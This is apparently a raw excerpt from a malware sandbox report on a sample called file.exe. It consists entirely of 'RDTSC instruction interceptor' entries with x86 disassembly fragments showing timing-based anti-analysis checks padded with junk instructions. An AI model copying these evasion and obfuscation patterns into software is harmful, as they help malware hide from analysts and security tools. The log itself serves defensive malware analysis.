Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4367 second address: 11B436C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173358 second address: 117335E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB74F second address: 11BB753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAC72 second address: 11BACAF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007F4A7D1268F6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jnp 00007F4A7D1268F6h 0x00000013 jg 00007F4A7D1268F6h 0x00000019 push eax 0x0000001a pop eax 0x0000001b jmp 00007F4A7D126909h 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BACAF second address: 11BACB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BACB5 second address: 11BACD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126907h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BACD0 second address: 11BACDD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4A7CC24DE8h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAE4A second address: 11BAE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB412 second address: 11BB433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jl 00007F4A7CC24DEEh 0x0000000f jp 00007F4A7CC24DE6h 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b jbe 00007F4A7CC24DE6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB5A1 second address: 11BB5BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126907h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB5BE second address: 11BB5C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB5C3 second address: 11BB5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC9EF second address: 11BC9F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC9F5 second address: 11BC9FF instructions: 0x00000000 rdtsc 0x00000002 js 00007F4A7D1268FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCA6E second address: 11BCA8A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b xchg eax, ebx 0x0000000c mov esi, dword ptr [ebp+122D2B84h] 0x00000012 nop 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jp 00007F4A7CC24DE6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCA8A second address: 11BCAA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126901h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCAA6 second address: 11BCAAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCB26 second address: 11BCB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4A7D1268FCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCD34 second address: 11BCD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCD39 second address: 11BCD3E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD391 second address: 11BD396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD396 second address: 11BD3AD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4A7D1268F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 je 00007F4A7D1268F6h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD3AD second address: 11BD3B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4A7CC24DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD3B7 second address: 11BD3BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDD51 second address: 11BDDE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F4A7CC24DFFh 0x0000000c jmp 00007F4A7CC24DF9h 0x00000011 popad 0x00000012 push eax 0x00000013 jns 00007F4A7CC24DF2h 0x00000019 nop 0x0000001a mov dword ptr [ebp+122D1783h], edi 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007F4A7CC24DE8h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 00000014h 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c or si, 944Fh 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ebp 0x00000046 call 00007F4A7CC24DE8h 0x0000004b pop ebp 0x0000004c mov dword ptr [esp+04h], ebp 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc ebp 0x00000059 push ebp 0x0000005a ret 0x0000005b pop ebp 0x0000005c ret 0x0000005d mov dword ptr [ebp+12475244h], esi 0x00000063 mov edi, dword ptr [ebp+122D2CC0h] 0x00000069 movsx edi, ax 0x0000006c push eax 0x0000006d push ebx 0x0000006e pushad 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDC0B second address: 11BDC0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDC0F second address: 11BDC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE6A5 second address: 11BE6AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C30E3 second address: 11C3107 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F4A7CC24DEFh 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F4A7CC24DE6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6DBE second address: 11C6DDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F4A7D126900h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6DDB second address: 11C6DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C738F second address: 11C740E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F4A7D1268F8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jnc 00007F4A7D1268FBh 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F4A7D1268F8h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 movsx edi, bx 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push esi 0x0000004e call 00007F4A7D1268F8h 0x00000053 pop esi 0x00000054 mov dword ptr [esp+04h], esi 0x00000058 add dword ptr [esp+04h], 00000015h 0x00000060 inc esi 0x00000061 push esi 0x00000062 ret 0x00000063 pop esi 0x00000064 ret 0x00000065 push eax 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 jbe 00007F4A7D1268F6h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C740E second address: 11C7428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C840F second address: 11C841F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C841F second address: 11C8423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C84BA second address: 11C84BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C84BF second address: 11C84C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F4A7CC24DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C84C9 second address: 11C84CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CA4AF second address: 11CA4B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CA4B5 second address: 11CA4C6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4A7D1268FCh 0x00000008 jg 00007F4A7D1268F6h 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182723 second address: 1182728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182728 second address: 118275D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F4A7D1268FFh 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F4A7D1268F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118275D second address: 1182763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182763 second address: 118276D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB9A7 second address: 11CB9AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC963 second address: 11CC96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC96C second address: 11CC970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC970 second address: 11CC991 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4A7D1268F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F4A7D126900h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC991 second address: 11CC995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCB29 second address: 11CCB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCB30 second address: 11CCB36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCB36 second address: 11CCB3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDB71 second address: 11CDB77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE7BB second address: 11CE826 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F4A7D1268F8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D1AAFh], edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F4A7D1268F8h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b cld 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F4A7D126900h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDB77 second address: 11CDB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEA71 second address: 11CEA75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1A16 second address: 11D1A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1A1A second address: 11D1A33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126905h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1A33 second address: 11D1A70 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F4A7CC24DE6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, 2492BFDDh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F4A7CC24DE8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov edi, ebx 0x00000030 push 00000000h 0x00000032 mov edi, edx 0x00000034 xchg eax, esi 0x00000035 push esi 0x00000036 pushad 0x00000037 push edx 0x00000038 pop edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1A70 second address: 11D1A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2AF9 second address: 11D2AFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2AFD second address: 11D2B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2B06 second address: 11D2B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007F4A7CC24DF2h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2B23 second address: 11D2B2D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4A7D1268FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3BCD second address: 11D3BD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3D3F second address: 11D3DC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126906h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or dword ptr [ebp+122D19EFh], esi 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov bx, E47Bh 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov dword ptr [ebp+122D1BECh], edx 0x0000002a mov eax, dword ptr [ebp+122D1101h] 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F4A7D1268F8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov edi, 77B656CAh 0x0000004f or edi, 10D46576h 0x00000055 push FFFFFFFFh 0x00000057 or dword ptr [ebp+122D1B5Ah], eax 0x0000005d nop 0x0000005e pushad 0x0000005f je 00007F4A7D1268FCh 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3DC1 second address: 11D3DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3DCA second address: 11D3DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3DD6 second address: 11D3DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D71DF second address: 11D71E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D71E3 second address: 11D71E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D71E9 second address: 11D71F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8F11 second address: 11D8F7D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F4A7CC24DF7h 0x0000000f push 00000000h 0x00000011 jmp 00007F4A7CC24DF9h 0x00000016 push 00000000h 0x00000018 jo 00007F4A7CC24DECh 0x0000001e mov ebx, dword ptr [ebp+122D2C80h] 0x00000024 push eax 0x00000025 pushad 0x00000026 pushad 0x00000027 jmp 00007F4A7CC24DF9h 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E577F second address: 100F9F9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F4A7D1268F6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 37092A99h 0x00000013 jmp 00007F4A7D126905h 0x00000018 cmc 0x00000019 push dword ptr [ebp+122D0A7Dh] 0x0000001f jmp 00007F4A7D1268FAh 0x00000024 call dword ptr [ebp+122D1E31h] 0x0000002a pushad 0x0000002b pushad 0x0000002c sub dword ptr [ebp+122D26E0h], eax 0x00000032 mov esi, dword ptr [ebp+122D2C50h] 0x00000038 popad 0x00000039 pushad 0x0000003a mov dword ptr [ebp+122D1BA6h], edx 0x00000040 call 00007F4A7D126902h 0x00000045 mov dword ptr [ebp+122D1BA6h], ecx 0x0000004b pop ebx 0x0000004c popad 0x0000004d xor eax, eax 0x0000004f stc 0x00000050 mov edx, dword ptr [esp+28h] 0x00000054 jmp 00007F4A7D126908h 0x00000059 mov dword ptr [ebp+122D2990h], eax 0x0000005f stc 0x00000060 mov esi, 0000003Ch 0x00000065 sub dword ptr [ebp+122D1E49h], eax 0x0000006b add esi, dword ptr [esp+24h] 0x0000006f add dword ptr [ebp+122D1BA6h], esi 0x00000075 lodsw 0x00000077 mov dword ptr [ebp+122D1E49h], esi 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 jl 00007F4A7D126903h 0x00000087 pushad 0x00000088 add ax, 7600h 0x0000008d add dword ptr [ebp+122D1BA6h], edi 0x00000093 popad 0x00000094 mov ebx, dword ptr [esp+24h] 0x00000098 jmp 00007F4A7D1268FEh 0x0000009d push eax 0x0000009e pushad 0x0000009f push eax 0x000000a0 push edx 0x000000a1 jmp 00007F4A7D126903h 0x000000a6 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB62D second address: 11EB63D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jg 00007F4A7CC24DE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB63D second address: 11EB651 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126900h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBC41 second address: 11EBC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC1C6 second address: 11EC1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4A7D1268F6h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC1D4 second address: 11EC1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC1DA second address: 11EC1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F4A7D12690Ch 0x0000000e jmp 00007F4A7D126904h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
